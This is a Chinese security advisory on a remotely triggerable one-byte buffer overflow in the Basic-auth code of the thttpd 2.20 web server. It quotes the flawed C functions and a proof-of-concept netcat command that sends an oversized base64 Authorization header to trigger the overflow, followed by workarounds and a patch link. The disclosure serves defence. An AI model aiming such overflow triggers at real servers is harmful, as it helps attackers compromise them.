首页 -> 安全研究

安全研究

安全漏洞
ACME Labs thttpd 2.20远程单字节缓冲区溢出漏洞

发布日期:2001-11-20
更新日期:2001-11-22

受影响系统:

thttpd 2.20b及以前版本
描述:

thttpd是运行于Unix-like操作系统上的一个简单,小巧,快速的Web服务器程序。

thttpd用于进行Web认证的程序模块存在一个单字节缓冲区溢出问题,可以使攻击者
从远程得到Web服务器的shell访问权限。

出现漏洞的程序代码为:libhttpd.c/auth_check()

static int
auth_check( httpd_conn* hc, char* dirname  )
  {
  static char* authpath;
  static int maxauthpath = 0;
  struct stat sb;
  char authinfo[500];
  char* authpass;
[...]
  l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
  authinfo[l] = '\0';

  可以注意到authinfo缓冲区长度为500,用来储存由b64_decode从HTTP 'Authorization'
头中解码出来的认证信息串,用NULL来结束这个串。函数中在authinfo变量之上的自动变量只
有结构sb,其他变量会根据初始化被放在data或bss段中。变量l存放b64_decode的返回值,
它可能会是多大呢,看b64_decode函数:

static int
b64_decode( const char* str, unsigned char* space, int size )
    {
    const char* cp;
    int space_idx, phase;
    int d, prev_d = 0;
    unsigned char c;

    space_idx = 0;
    phase = 0;
    for ( cp = str; *cp != '\0'; ++cp )
        {
        d = b64_decode_table[(int) *cp];
        if ( d != -1 )
            {
            switch ( phase )
                {
                case 0:
                ++phase;
                break;
                case 1:
                c = ( ( prev_d << 2 ) | ( ( d & 0x30 ) >> 4 ) );
                if ( space_idx < size )
                    space[space_idx++] = c;
                ++phase;
                break;
                case 2:
                c = ( ( ( prev_d & 0xf ) << 4 ) | ( ( d & 0x3c ) >> 2 ) );
                if ( space_idx < size )
                    space[space_idx++] = c;
                ++phase;
                break;
                case 3:
                c = ( ( ( prev_d & 0x03 ) << 6 ) | d );
                if ( space_idx < size )
                    space[space_idx++] = c;
                phase = 0;
                break;
                }
            prev_d = d;
            }
        }
    return space_idx;
    }
    
  这里'size'来自sizeof(authinfo) == 500,“if ( space_idx < size )”这个检查
只能使space_idx最大到499,“space[space_idx++] = c;”使space_idx的值到了500,然
后space_idx的值被返回给auth_check。再看回来:

    l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
    authinfo[l] = '\0';

  'l' == 500,所以“authinfo[500] = '\0'”把缓冲区溢出了一个字节!

<*来源:GOBBLES Team(http://www.bugtraq.org)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-11/0155.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


GOBBLES Team提供了如下演示方法:

1) 首先使用下列diff文件:

--- libhttpd.c Tue Nov 20 14:50:00 2001
+++ libhttpd-new.c Tue Nov 20 14:22:12 2001
@@ -886,6 +886,7 @@
     /* Decode it. */
     l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
     authinfo[l] = '\0';
+ printf("%02x\n", authinfo[499]);
     /* Split into user and password. */
     authpass = strchr( authinfo, ':' );
     if ( authpass == (char*) 0 )


2) 重新编译、安装:

[terminal 1]

mkdir test
echo "joe:blow" > test/.htpasswd
./thttpd -D -p 7777

[terminal 2]

(printf "GET /test/ HTTP/1.0\r\nAuthorization: Basic " ; printf `perl -e
'print "A"x550'` | openssl enc -base64 -e -in /dev/stdin ; printf \
"\r\n\r\n") | nc 0 7777

[terminal 1]

我们看到 '41'. 这意味着确实存在单字节溢出问题。


建议:

临时解决方法:
  
   如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
  
   * 禁用thttpd的Web认证功能。
   
   * 自己修改auth_check()函数,把
    l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
    改为
    l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo)-1 );
     重新编译程序,这样也能修正这个漏洞。  

厂商补丁:

目前厂商已经在最新开发版中修补了这个漏洞,可以到厂商的主页下载最新的版本:
http://www.acme.com/software/thttpd/thttpd-2.22beta4.tar.gz

浏览次数:3827
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障